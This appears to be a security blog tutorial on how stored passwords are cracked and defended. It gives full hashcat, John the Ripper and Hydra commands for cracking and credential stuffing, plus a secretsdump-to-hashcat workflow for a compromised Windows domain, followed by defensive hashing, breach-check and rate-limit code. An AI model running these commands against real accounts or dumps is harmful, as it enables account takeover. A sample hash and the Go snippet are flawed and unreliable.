Skip to content
← pwnsy/blog
intermediate19 min readMar 9, 2026Updated Mar 11, 2026

How Passwords Get Cracked

passwords#passwords#cracking#hashing#authentication#hashcat#john-the-ripper#brute-force#credential-stuffing

Key Takeaways

  • Modern applications store a hash of your password, not the plaintext.
  • Brute force enumerates every possible combination of characters up to a specified length.
  • Before cracking, you need to identify the hash type.
  • Entropy measures the unpredictability of a password — how much work an attacker must do to guess it by exhaustive search.
  • Hashcat is the de facto standard for GPU-accelerated hash cracking.
  • The OWASP Password Storage Cheat Sheet (2024 update) recommends Argon2id as the first choice.

Most people have no idea their password was cracked 36 hours after the breach notification email was sent. The company's database hit a hacking forum, someone spun up a cloud GPU cluster, ran rockyou.txt with a good rule set, and recovered 60% of the hashes before breakfast. This is not a theoretical threat. It happened to LinkedIn in 2012, to Adobe in 2013, to RockYou in 2009. It is happening right now to databases that haven't been disclosed yet.

Understanding how password cracking works — mechanically, mathematically, and operationally — is the only way to make informed decisions about password policies, hashing algorithms, and authentication architecture.

How Passwords Are Actually Stored

Modern applications store a hash of your password, not the plaintext. A cryptographic hash function takes arbitrary input and produces a fixed-length digest. The same input always produces the same output, but you cannot reverse the output to recover the input — at least, not by design.

SHA-256("hunter2")  → f52fbd32b2b3b86ff88ef6c490628285f482af15ddcb29541f94bcf526a3f6c7
SHA-256("hunter2")  → f52fbd32b2b3b86ff88ef6c490628285f482af15ddcb29541f94bcf526a3f6c7
SHA-256("hunter3")  → 02c6e4f2e6f8e6d8e7c9a7f6b4e5d3c2a1b9f8e7d6c5b4a3928374651908172

The problem with raw hashing is determinism. If two users share the same password, their hashes are identical. An attacker who sees a thousand identical hashes in a dump immediately knows a thousand users share that password — and cracking one reveals all of them.

Salting defeats this by prepending or appending a unique random value to each password before hashing:

user_1: salt = "a3f8b2c1"  →  hash = SHA256("a3f8b2c1" + "hunter2")
user_2: salt = "9d4e7f2a"  →  hash = SHA256("9d4e7f2a" + "hunter2")

Both users have the same password, but completely different hashes. Salts are stored alongside the hash in the database — they are not secret; their purpose is to force per-user computation, not to add secrecy.

The Hashing Algorithm Gap

Not all hash functions are appropriate for passwords. Hash functions designed for data integrity (MD5, SHA-1, SHA-256, SHA-3) are optimized to be fast. That optimization is catastrophic for password storage.

A single Nvidia RTX 4090 GPU can compute:

| Algorithm | Hashes/second | |---|---| | MD5 | ~68 billion | | SHA-1 | ~23 billion | | SHA-256 | ~11 billion | | bcrypt (cost 12) | ~184,000 | | Argon2id (64MB/3 iter) | ~6,500 | | scrypt (N=32768) | ~50,000 |

That is not a typo. A single consumer GPU computes 68 billion MD5 hashes per second. Against bcrypt at cost 12, the same hardware manages 184,000. The design goal of password hashing functions is to be deliberately, tunably slow and memory-intensive — so that offline cracking attacks are economically unviable.

Warning

MD5 and SHA-1 are cryptographically broken for password storage. Not because of collision resistance issues — those are real but separate — but because they are so fast that even a well-salted MD5 database is crackable at scale. If you see either in a codebase as the password storage mechanism, classify it as a critical security vulnerability. The Adobe breach of 2013 exposed 153 million accounts stored with 3DES and hints stored in plaintext. The entire thing was cracked in days.

The LinkedIn Breach: A Concrete Example

In June 2012, LinkedIn suffered a breach that exposed 6.5 million SHA-1 password hashes. They were unsalted. Within hours, security researchers and crackers had identified millions of matches. By 2016, it emerged the actual breach was 117 million accounts. The lack of salting meant that once any password was cracked, all users with the same password were exposed simultaneously. Common passwords like "linkedin", "123456", and "password" matched millions of hashes instantly with a single computation.

The lesson is not that SHA-1 was used — it is that unsalted fast hashes are a catastrophic failure mode that transforms a database breach into mass credential exposure measured in hours, not years.

Cracking Techniques: How Attackers Actually Do It

Brute force enumerates every possible combination of characters up to a specified length. It is guaranteed to crack any password eventually — the question is whether "eventually" is minutes or geological epochs.

The search space grows exponentially with length:

| Charset | Size | Length | Combinations | Time @ 184k bcrypt/s | |---|---|---|---|---| | lowercase (a-z) | 26 | 6 | 308,915,776 | ~28 minutes | | lowercase + digits | 36 | 6 | 2,176,782,336 | ~3.3 hours | | lowercase + digits | 36 | 8 | 2.8 trillion | ~179 days | | Full ASCII printable | 95 | 8 | 6.6 quadrillion | ~1,147 years | | Full ASCII printable | 95 | 12 | 5.4 × 10²³ | ~10¹² years |

Against MD5 (68 billion hashes/sec), those numbers shrink by a factor of 370,000. An 8-character lowercase + digit MD5 hash cracks in under a second. An 8-character full-ASCII MD5 hash cracks in roughly 27 hours with one GPU. A cluster of 8 RTX 4090s reduces that to 3 hours.

Hashcat handles brute force with mask attacks. The character sets use shorthand notation:

# Hashcat mask attack notation
# ?l = lowercase (a-z)
# ?u = uppercase (A-Z)
# ?d = digits (0-9)
# ?s = special characters (!@#$...)
# ?a = all printable ASCII
 
# Brute force MD5 hashes (mode 0), 8-character lowercase+digit
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?d?d
 
# Brute force bcrypt (mode 3200), 6-character all-printable
hashcat -m 3200 -a 3 hashes.txt ?a?a?a?a?a?a
 
# Custom charset: digits only (PINs)
hashcat -m 0 -a 3 hashes.txt -1 ?d ?1?1?1?1?1?1
 
# Session management (resume later)
hashcat -m 1800 -a 3 shadow.txt ?a?a?a?a?a?a?a --session=bruteforce1
hashcat --session=bruteforce1 --restore
 
# Show cracked results
hashcat -m 1800 shadow.txt --show

The critical insight: brute force is the attacker's fallback, not the primary weapon. When dictionaries and rules fail, brute force fills the gaps — but only for shorter passwords. Anything above 10 characters of reasonable complexity is practically immune to brute force against bcrypt.

Dictionary Attacks: Exploiting Human Predictability

Humans are terrible at choosing random passwords. They choose words, names, dates, sports teams, and keyboard patterns. Dictionary attacks exploit this by hashing a wordlist and comparing against target hashes.

The foundational wordlist is rockyou.txt: 14.3 million passwords recovered from the 2009 RockYou breach, where passwords were stored in plaintext. It remains the most effective starting wordlist in 2026 because it reflects actual human password selection behavior.

# John the Ripper — auto-detect hash type, rockyou dictionary
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
 
# Hashcat — NTLM hashes (Windows), rockyou
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt
 
# Hashcat — Linux SHA-512crypt from /etc/shadow
hashcat -m 1800 -a 0 shadow.txt rockyou.txt
 
# Hashcat — bcrypt from web app database dump
hashcat -m 3200 -a 0 bcrypt_hashes.txt rockyou.txt

Rule-based mutations are where dictionary attacks become devastating. Rules transform dictionary words to match common human patterns:

password     →  Password, P@ssword, passw0rd, P@ssw0rd, P@ssw0rd1, password123
linkedin     →  LinkedIn, L1nked1n, LinkedIn!, LINKEDIN
baseball     →  Baseball1!, b@seball, Baseball2023

The best64.rule file ships with Hashcat and applies 64 common transformations. The dive.rule file applies thousands. A 14 million word dictionary with dive generates billions of candidates:

# Apply best64 rules to rockyou
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
# Stack multiple rule files
hashcat -m 0 -a 0 hashes.txt rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/toggles1.rule
 
# Use dive.rule for maximum coverage (slower)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/dive.rule
 
# John with built-in rules
john --wordlist=rockyou.txt --rules=KoreLogic hashes.txt

Real rule files look like this (Hashcat rule syntax):

# Rules that cover ~80% of human password mutations
:            # Do nothing (keep base word)
l            # Lowercase all letters
u            # Uppercase all letters
c            # Capitalize first letter
$1           # Append "1"
$!           # Append "!"
$2$0$2$3     # Append "2023"
sa@          # Replace 'a' with '@'
se3          # Replace 'e' with '3'
si!          # Replace 'i' with '!'
so0          # Replace 'o' with '0'
c$1          # Capitalize + append "1"
c$1$!        # Capitalize + append "1!"

The KoreLogic ruleset, released publicly from DEFCON challenges, remains one of the best for real-world password cracking. It is available in John the Ripper distributions and documents the specific patterns that appear most frequently in cracked corporate passwords.

Combinator Attacks: Building Compound Passwords

Combinator attacks take two wordlists and concatenate every pair, generating compound passwords like soccer123 or springtime!:

# Hashcat combinator attack (mode 1)
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt
 
# With rules applied to the left word
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt -j c
 
# With rules applied to the right word
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt -k $1$!

This is effective for passwords like summer2023, Dog!horse, or January2025! — patterns where two components (season/color/sport + year/special) are concatenated. These feel complex to users but are straightforward for combinator attacks.

Rainbow Tables: Precomputed Hash Lookups

A rainbow table is a precomputed data structure that maps hash values back to their plaintext inputs. The naive approach would be a simple lookup table: store every (plaintext, hash) pair. For MD5 and an 8-character lowercase alphabet, that's 26^8 × 2 entries — approximately 1.3 TB of storage. Rainbow tables use chains of alternating hash and reduction functions to achieve similar coverage with dramatically less storage.

The math:

  • 8-character lowercase MD5 space: ~208 billion hashes
  • A full rainbow table for this space: ~20–100 GB depending on compression
  • Lookup time for a hit: milliseconds
  • Crack rate for unsalted MD5 in this space: effectively 100%

Tools and services:

# Ophcrack uses rainbow tables for Windows NTLM/LM hashes
ophcrack -t /path/to/tables -f hash.txt
 
# Online: CrackStation, CMD5, OnlineHashCrack — submit hash, get plaintext
# These maintain multi-TB rainbow table databases

Why salting completely defeats rainbow tables: To use a rainbow table against salted hashes, you need a separate table per unique salt. With 16-byte random salts (2^128 possible values), the required storage is physically impossible. Salting is not a minor improvement — it eliminates the entire rainbow table attack class.

Tip

Salting doesn't slow down the hash computation at all. Its only purpose is to invalidate precomputed tables. This is why "we use salted MD5" is not a satisfactory answer to a security audit — the salt defeats rainbow tables, but the speed of MD5 still makes brute force and dictionary attacks fast enough to crack most real-world passwords in hours on commodity hardware.

Credential Stuffing: When You Don't Need to Crack Anything

Credential stuffing is technically not cracking — it is replaying. Billions of username:password pairs from historical breaches are publicly available on hacking forums and distributed freely. Tools automate testing these pairs against live services.

The scale of available credential data as of 2025:

  • Collection #1 (2019): 773 million email/password pairs, 87 GB
  • RockYou2021: 8.4 billion password entries (compilation)
  • COMB (Compilation of Many Breaches): 3.2 billion unique credential pairs
  • Various stealer log aggregations: hundreds of millions of active credentials
# Hydra — HTTP POST form credential stuffing
hydra -C credentials.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 64 -w 30
 
# Hydra — against multiple targets
hydra -C credentials.txt -M targets.txt http-post-form \
  "/api/auth:email=^USER^&password=^PASS^:error"
 
# Custom credential stuffing with Python + requests (for proper rate limit handling)
# Real operations use distributed proxies to bypass IP-based rate limits

The effectiveness statistics are sobering. In a 2023 Okta threat report, credential stuffing accounted for 34% of all authentication attacks observed. Success rates vary by service, but even a 0.1% success rate against a 100-million-pair database is 100,000 compromised accounts. The attack requires no hashing, no compute, and runs against live production systems where MFA bypass is a secondary step.

The Okta breach of October 2023 was partly attributed to credential stuffing attacks against the support system using credentials from a prior third-party breach. The attackers accessed files belonging to 134 Okta customers before detection.

PRINCE Attack: Password Probability Chains

The PRINCE (PRobability INfinite Chaining Engine) algorithm generates password candidates by chaining words from a wordlist based on probability distributions derived from cracked passwords. It is more sophisticated than a combinator attack because it models the statistical distribution of real password elements.

# PRINCE via hashcat-utils princeprocessor
./pp64.bin < wordlist.txt | hashcat -m 1000 --stdin hashes.txt
 
# With specific password length targets
./pp64.bin --pw-min=8 --pw-max=12 < words.txt | \
  hashcat -m 1000 --stdin hashes.txt

Hybrid Attacks: Dictionary + Brute Force Combined

Hybrid attacks append or prepend brute-force masks to dictionary words:

# Append 1-4 digit suffix to dictionary words (password → password1234)
hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d?d?d
 
# Prepend 2-character mask (20 + password → 20password)
hashcat -m 0 -a 7 hashes.txt ?d?d rockyou.txt
 
# Append year (2020-2029)
hashcat -m 0 -a 6 hashes.txt wordlist.txt 202?d
 
# Append common patterns
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?s

This captures the overwhelming majority of passwords following patterns like BaseWord + Year, BaseWord + !, BaseWord + 123.

Hash Identification and Common Formats

Before cracking, you need to identify the hash type. Unknown hashes can be identified by length, character set, and prefix patterns:

# Hashcat auto-identification
hashcat --identify hash.txt
 
# hash-identifier (standalone tool)
hash-identifier
# Paste hash when prompted
 
# Example hash formats
# MD5:      5f4dcc3b5aa765d61d8327deb882cf99       (32 hex)
# SHA-1:    5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8  (40 hex)
# SHA-256:  6b3a55e0261b...                         (64 hex)
# bcrypt:   $2a$12$R9h/cIPz0gi.URNNX3kh2O...       (60 chars, starts $2)
# Argon2id: $argon2id$v=19$m=65536,t=3,p=4$...
# NTLM:     8846f7eaee8fb117ad06bdd830b7586c       (32 hex, no prefix)
# sha512crypt: $6$rounds=5000$salt$hash...          (starts $6$)

Hashcat mode reference for the most common formats encountered in real dumps:

| Mode | Algorithm | Common Source | |---|---|---| | 0 | MD5 | Legacy web apps, PHP sites | | 10 | md5($pass.$salt) | Various custom implementations | | 20 | md5($salt.$pass) | Various custom implementations | | 100 | SHA-1 | LinkedIn 2012, older web apps | | 1000 | NTLM | Windows domain hashes | | 1400 | SHA-256 | Moderate security implementations | | 1700 | SHA-512 | Moderate security implementations | | 1800 | sha512crypt ($6$) | Modern Linux /etc/shadow | | 3200 | bcrypt | Web apps doing it right | | 13400 | KeePass 1.x/2.x | Password manager vault files | | 16900 | Ansible Vault | DevOps secrets files | | 22000 | WPA-PBKDF2-PMKID+EAPOL | WiFi handshake captures | | 22100 | BitLocker | Full disk encryption | | 13600 | WinZip | Encrypted archives | | 23800 | 1Password | Password manager vaults |

Password Entropy: The Actual Math

Entropy measures the unpredictability of a password — how much work an attacker must do to guess it by exhaustive search.

Entropy (bits) = log₂(pool_size ^ length) = length × log₂(pool_size)

For a password to be uncrackable with current hardware against bcrypt, target 80+ bits of entropy from a random source. Human-chosen passwords almost never achieve their theoretical entropy.

| Password | Pool | Length | Theoretical Entropy | Practical Entropy | |---|---|---|---|---| | abc123 | 36 | 6 | 31 bits | ~10 bits (in rockyou) | | P@ssw0rd1 | 94 | 9 | 59 bits | ~15 bits (in every ruleset) | | Tr0ub4dor&3 | 94 | 11 | 72 bits | ~25 bits (XKCD-famous, in wordlists now) | | correct-horse-battery | 27 | 22 | 103 bits | ~75 bits (diceware, less common) | | Random 16-char full ASCII | 94 | 16 | 105 bits | 105 bits (truly random) | | Random 4-word diceware | 7776 | — | 51 bits per word selection | 51 bits (EFF list) |

Warning

"P@ssw0rd1" has 59 bits of theoretical entropy but near-zero practical entropy. Every rule file generates it from "password" automatically. Theoretical entropy assumes random, independent selection from the character pool — human cognitive biases mean real passwords inhabit a tiny fraction of their theoretical space. This is why NIST SP 800-63B (2017) dropped complexity requirements in favor of length requirements and breach-database checks.

The NIST SP 800-63B guidance, updated in 2024, now explicitly recommends:

  • Minimum 8 characters (15 recommended)
  • Check against known-breached password lists
  • Do NOT require periodic rotation without evidence of compromise
  • Do NOT require specific character types

Mandatory character types (at least one uppercase, one number, one symbol) produce passwords like Password1! — they meet the rule, they're in every wordlist. Long random passphrases from diceware are more entropy-efficient and more memorable.

Tools in Depth

Hashcat: The GPU Standard

Hashcat is the de facto standard for GPU-accelerated hash cracking. It supports 350+ hash types, scales across multiple GPUs, and is actively maintained.

# System benchmark — shows hash rates for your hardware
hashcat -b
 
# Benchmark specific mode
hashcat -b -m 3200
 
# Identify hash type
hashcat --identify hash.txt
 
# Dictionary attack against NTLM
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt
 
# Dictionary + rules
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule
 
# Brute force 7-char alphanumeric
hashcat -m 1000 -a 3 ntlm.txt ?a?a?a?a?a?a?a
 
# Combinator
hashcat -m 0 -a 1 hashes.txt dict1.txt dict2.txt
 
# Hybrid: dict + 4-char mask suffix
hashcat -m 0 -a 6 hashes.txt dict.txt ?d?d?d?d
 
# Multi-GPU
hashcat -m 1800 -a 0 shadow.txt rockyou.txt -d 1,2,3
 
# Output cracked passwords to file
hashcat -m 1800 -a 0 shadow.txt rockyou.txt -o cracked.txt --outfmt 2
 
# Restore interrupted session
hashcat --session=myjob --restore
 
# Show already-cracked hashes
hashcat -m 1000 ntlm.txt --show

Performance optimization matters at scale. Hashcat by default uses the OpenCL backend; CUDA often provides better performance on Nvidia hardware:

# Use CUDA backend (Nvidia only)
hashcat -m 1000 ... --backend-devices-virtual 1 -I
 
# Temperature monitoring during long jobs
hashcat -m 1800 ... --gpu-temp-abort=90

John the Ripper: The Flexible Option

John the Ripper (jumbo edition) excels at hash auto-detection and has built-in support for exotic formats that Hashcat doesn't cover. It shines for non-standard hashes and archive cracking.

# Auto-detect hash type and crack
john hashes.txt
 
# Specify wordlist and rules
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hashes.txt
 
# Specify hash format explicitly
john --format=bcrypt hashes.txt --wordlist=rockyou.txt
 
# Extract and crack Office document passwords
office2john document.docx > office.hash
john office.hash --wordlist=rockyou.txt
 
# Extract and crack ZIP passwords
zip2john protected.zip > zip.hash
john zip.hash --wordlist=rockyou.txt
 
# Crack KeePass database
keepass2john vault.kdbx > keepass.hash
john keepass.hash --wordlist=rockyou.txt
 
# Crack SSH private key passphrase
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt
 
# Show cracked results
john --show hashes.txt
 
# List supported formats
john --list=formats

The john2hashcat utility converts John hash files to Hashcat format, allowing you to switch tools mid-attack.

What Defenders Must Actually Do

On the Application Side: Argon2id or Bust

The OWASP Password Storage Cheat Sheet (2024 update) recommends Argon2id as the first choice. If that's unavailable, scrypt. If neither, bcrypt with a cost factor of 12 or higher. MD5, SHA-1, and SHA-256 are unacceptable regardless of salting.

# Python — argon2-cffi (correct parameterization per OWASP 2024)
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
 
ph = PasswordHasher(
    time_cost=3,        # Number of iterations
    memory_cost=65536,  # 64 MB memory usage
    parallelism=4,      # Parallel threads
    hash_len=32,        # Output hash length in bytes
    salt_len=16         # Salt length in bytes
)
 
# Hash a password
hashed = ph.hash("user_password_here")
# Output: $argon2id$v=19$m=65536,t=3,p=4$<salt>$<hash>
 
# Verify (raises VerifyMismatchError on failure)
try:
    ph.verify(hashed, "user_password_here")
    # Returns True if match
except VerifyMismatchError:
    # Password is wrong
    pass
 
# Check if rehash needed (work factor increased since hash was created)
if ph.check_needs_rehash(hashed):
    new_hash = ph.hash("user_password_here")
    # Store new_hash
# Node.js — argon2 package
const argon2 = require('argon2');
 
// Hash
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 65536,  // 64 MB
  timeCost: 3,
  parallelism: 4,
});
 
// Verify
try {
  const valid = await argon2.verify(hash, password);
} catch (err) {
  // Failed
}
// Go — golang.org/x/crypto/argon2
package main
 
import (
    "crypto/rand"
    "encoding/base64"
    "golang.org/x/crypto/argon2"
)
 
func HashPassword(password string) string {
    salt := make([]byte, 16)
    rand.Read(salt)
 
    hash := argon2.IDKey([]byte(password), salt, 3, 64*1024, 4, 32)
 
    // Store salt + hash together
    b64Salt := base64.RawStdEncoding.EncodeToString(salt)
    b64Hash := base64.RawStdEncoding.EncodeToString(hash)
    return fmt.Sprintf("$argon2id$v=19$m=65536,t=3,p=4$%s$%s", b64Salt, b64Hash)
}

Work factor calibration: OWASP recommends tuning parameters so that hashing takes 300ms–500ms on your production hardware. This is painful for attackers (300ms per guess on a GPU is crippling) while negligible for users (login delay is imperceptible at under a second).

Reject Known-Breached Passwords

NIST 800-63B explicitly recommends checking new passwords against breach databases. The HaveIBeenPwned API provides this as a privacy-preserving k-Anonymity lookup:

import hashlib
import requests
 
def is_pwned_password(password: str) -> int:
    """
    Returns the count of times this password appears in HIBP breach data.
    Uses k-anonymity: only the first 5 chars of the SHA-1 hash are sent.
    Returns 0 if not found, count if found.
    """
    sha1 = hashlib.sha1(password.encode('utf-8')).hexdigest().upper()
    prefix, suffix = sha1[:5], sha1[5:]
 
    response = requests.get(
        f"https://api.pwnedpasswords.com/range/{prefix}",
        headers={"Add-Padding": "true"}
    )
    response.raise_for_status()
 
    for line in response.text.splitlines():
        hash_suffix, count = line.split(':')
        if hash_suffix == suffix:
            return int(count)
 
    return 0
 
# Usage in registration flow
pwned_count = is_pwned_password(new_password)
if pwned_count > 0:
    raise ValueError(f"This password appears in {pwned_count} breach records. Choose another.")
# API test
curl "https://api.pwnedpasswords.com/range/5BAA6"
# Returns suffixes and counts for hashes starting with 5BAA6
# 1E4C9B93F3F0682250B6CF8331B7EE68FD8:3861493 <- this is "password"

Rate Limiting and Account Lockout

Credential stuffing and online brute force attacks are only viable if the application allows unlimited attempts. Proper rate limiting:

# Redis-backed rate limiter for login endpoints
import redis
from datetime import timedelta
 
r = redis.Redis()
 
def check_login_rate_limit(identifier: str) -> bool:
    """
    identifier: IP address or username
    Returns True if request should be allowed, False if rate limited.
    """
    key = f"login_attempts:{identifier}"
    attempts = r.incr(key)
 
    if attempts == 1:
        r.expire(key, 900)  # 15 minute window
 
    if attempts > 10:
        return False  # Block after 10 attempts in 15 minutes
 
    return True
 
# Progressive lockout: increase delay exponentially
def get_lockout_seconds(username: str) -> int:
    key = f"lockout:{username}"
    count = int(r.get(key) or 0)
    if count == 0:
        return 0
    return min(2 ** count, 3600)  # Cap at 1 hour

MFA: The Actual High-Leverage Control

Microsoft's threat intelligence team published in 2019 that MFA blocks 99.9% of automated account attacks. No password policy achieves that — even the strongest password is phishable. MFA (specifically phishing-resistant MFA: FIDO2/WebAuthn) changes the attack economics entirely.

The practical hierarchy:

  1. Passkeys / FIDO2 hardware keys: Private key never leaves device. Challenge is domain-bound — phishing is mechanically impossible.
  2. TOTP authenticator apps: Eliminates stuffing and most automated attacks. Still vulnerable to real-time phishing proxies (Evilginx).
  3. Push notification MFA: Vulnerable to MFA fatigue attacks (prompt bombing). Require number matching to mitigate.
  4. SMS OTP: SS7-vulnerable, SIM-swap-vulnerable. Better than nothing.
# TOTP generation in Python (for understanding the algorithm)
import hmac, hashlib, struct, time, base64
 
def generate_totp(secret_b32: str, digits: int = 6, period: int = 30) -> str:
    """RFC 6238 TOTP implementation"""
    key = base64.b32decode(secret_b32.upper())
    timestamp = int(time.time()) // period
 
    # Pack timestamp as 8-byte big-endian
    msg = struct.pack('>Q', timestamp)
 
    # HMAC-SHA1
    h = hmac.new(key, msg, hashlib.sha1).digest()
 
    # Dynamic truncation
    offset = h[-1] & 0x0f
    code = struct.unpack('>I', h[offset:offset+4])[0] & 0x7fffffff
 
    return str(code % (10 ** digits)).zfill(digits)

Real-World Cracking Operations

To ground this in practice: here is what a competent attacker does with a fresh NTLM hash dump from a compromised Windows domain:

# 1. Extract hashes from domain (with DA credentials)
# Using impacket secretsdump
secretsdump.py domain/admin:'password'@dc01.corp.local -outputfile dc_hashes
 
# 2. Separate NTLM hashes from the dump
grep ':::' dc_hashes.ntds | cut -d: -f4 > ntlm_only.txt
 
# 3. Quick wins: check against rockyou first
hashcat -m 1000 -a 0 ntlm_only.txt rockyou.txt
 
# 4. Add rules
hashcat -m 1000 -a 0 ntlm_only.txt rockyou.txt \
  -r rules/best64.rule -r rules/toggles1.rule
 
# 5. Combinator attack with common corporate patterns
hashcat -m 1000 -a 1 ntlm_only.txt seasons.txt years.txt
# Generates: Spring2024, Winter2025, Summer2023!, etc.
 
# 6. Hybrid: company name + digits/symbols
echo "CompanyName" > company.txt
hashcat -m 1000 -a 6 ntlm_only.txt company.txt ?d?d?d?d?s
 
# 7. Brute force short passwords (<=8 chars)
hashcat -m 1000 -a 3 ntlm_only.txt ?a?a?a?a?a?a?a?a
 
# 8. Check results
hashcat -m 1000 ntlm_only.txt --show | wc -l

In a typical enterprise domain with 500+ users, a skilled attacker running this workflow against NTLM hashes recovers 40-70% of passwords within a few hours. From those recovered passwords, they identify reuse patterns specific to the organization (e.g., Company2024! is the corporate standard) and apply targeted rules to crack the remainder.

Actionable Defense Checklist

For developers and security engineers:

  • [ ] Audit every password storage implementation in your codebase today. Find MD5, SHA-1, SHA-256, SHA-512 raw or salted? Treat as critical.
  • [ ] Migrate to Argon2id with OWASP-recommended parameters. Implement rehashing on next login.
  • [ ] Integrate HIBP k-anonymity API into your registration and password-change flows.
  • [ ] Implement tiered rate limiting: IP-level, username-level, with progressive lockout.
  • [ ] Deploy TOTP or WebAuthn MFA. Block SMS OTP for privileged accounts.
  • [ ] Enforce minimum password length (15+ chars). Drop complexity rules that produce predictable patterns.
  • [ ] Never log passwords. Audit logging code for password fields in request/response logs.
  • [ ] Set up alerting for anomalous authentication patterns (velocity, geographic anomaly).

For organizations with Windows environments:

  • [ ] Enable Windows Credential Guard to protect NTLM hashes in LSASS memory.
  • [ ] Audit for NTLM v1 usage — it is trivially crackable.
  • [ ] Block NTLM authentication where Kerberos is available.
  • [ ] Enforce MFA for all domain accounts. Azure AD/Entra ID Conditional Access can enforce this at scale.
  • [ ] Monitor for secretsdump-style attacks (mass LDAP enumeration, DC replication via DRSUAPI).

For individuals:

  • [ ] Use a password manager. Generate 20+ character random passwords for every site.
  • [ ] Check your email at haveibeenpwned.com right now.
  • [ ] Enable TOTP on your email, banking, and password manager account today.
  • [ ] Passkeys wherever supported — Google, Apple, Microsoft, GitHub, and Cloudflare all support them.

The math is not in the attacker's favor against properly implemented bcrypt or Argon2 with strong random passwords. The math is catastrophically against the defender when MD5 meets rockyou with best64 rules. The gap between these two outcomes is a few engineering decisions.

Sharetwitterlinkedin

Related Posts